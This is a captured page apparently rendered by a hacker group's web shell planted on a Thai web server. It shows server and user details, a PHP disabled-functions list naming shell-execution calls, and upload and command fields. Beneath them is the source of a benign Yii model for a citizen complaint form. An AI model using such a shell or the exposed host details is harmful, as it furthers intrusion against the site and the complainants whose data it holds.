NG1NDEX
Server IP : 103.233.192.212  /  Your IP : 18.227.209.41
Web Server : Apache/2
System : Linux sv1.inde.co.th 3.10.0-1160.36.2.el7.x86_64 #1 SMP Wed Jul 21 11:57:15 UTC 2021 x86_64
User : sumpatuan ( 1058)
PHP Version : 5.5.38
Disable Function : symlink,shell_exec,exec,proc_close,proc_open,popen,system,dl,putenv,passthru,escapeshellarg,escapeshellcmd,pcntl_exec,proc_get_status,proc_nice,proc_terminate,pclose,ini_alter,virtual,openlog,ini_restore
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/sumpatuan/public_html/backup/protected/models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/sumpatuan/public_html/backup/protected/models/tbHelping.php
<?php

class tbHelping extends CActiveRecord {
    
    public $validation;
    
    public static function model($className = __CLASS__) {
        return parent::model($className);
    }
    
    public function tableName() {
        return 'tb_helping';
    }
    
    public function attributeLabels() {
        return array(
            'id' => 'ID',
            'help_title' => 'หัวข้อเรื่องร้องเรียน',
            'help_personal_card' => 'เลขบัตรประจำตัวประชาชน',
            'help_fullname' => 'ชื่อ-นามสกุล',
            'help_address' => 'ที่อยู่',
            'help_tel' => 'เบอร์โทรศัพท์',
            'help_email' => 'Email',
            'path_file' => ' ที่อยู่ไฟล์',
            'help_detail' => 'รายละเอียด',
            'help_date' => 'วันที่ร้องเรียน',
            'status_view' => 'สถานะการดู',
            'status_confirm' => 'สถานะการรับเรื่อง',
            
        );
    }
    
    public function rules() {
        return array(
            array('help_title, help_personal_card, help_fullname, help_address, help_tel', 'required', 'message'=>'{attribute} ## ห้ามเป็นข้อมูลว่าง.'),
                        
            array('help_title, help_fullname', 'match', 'pattern'=>'/^[ก-ฮะ-์เ ]+$/', 'message'=>'{attribute} ## ต้องเป็น ภาษาไทย และ ช่องว่างเท่านั้น.'),
            array('help_personal_card', 'match', 'pattern'=>'/^[0-9]+$/', 'message'=>'{attribute} ## ต้องเป็น ตัวเลขเท่านั้น.'),
            array('help_email', 'match', 'pattern'=>'/^([a-z0-9_\.-]+)@([\da-z\.-]+)\.([a-z\.]{2,6})$/', 'message'=>'{attribute} ## รูปแบบ อีเมล ไม่ถูกต้อง.'),            
            array('help_personal_card', 'length', 'min' => 13, 'tooShort'=>'{attribute} ## น้อยเกินไป'),
            array('path_file', 'file', 'allowEmpty' => true, 'types'=>'jpg, jpeg, png', 'wrongType'=>'{file} ## ไม่สามารถ Upload ได้ ต้องเป็นไฟล์นามสกุล {extensions} เท่านั้น!.'),
            
            
            
            array('id, help_detail, help_date, status_view, status_confirm', 'safe'),
        );
    }
    
    public function beforeSave() {
        if ($this->isNewRecord) {
            $this->help_date = new CDbExpression('NOW()');
            $this->status_view = '0';
            $this->status_confirm = '0';
        }
        
        return parent::beforeSave();
    }
    
    public function dateThai($data, $row) {
        return OtherFunction::DateThai($data->help_date);
    }
    
    public function statusView($data, $row) {
        if($data->status_view == '0'):
            return 'ยังไม่ได้ดู';
        else:
            return 'ดูแล้ว';
        endif;
    }
    
    public function statusConfirm($data, $row) {
        if($data->status_confirm == '0'):
            return 'ยังไม่ได้ รับเรื่อง';
        else:
            return 'รับเรื่องแล้ว';
        endif;
    }
}
?>

Anon7 - 2022
AnonSec Team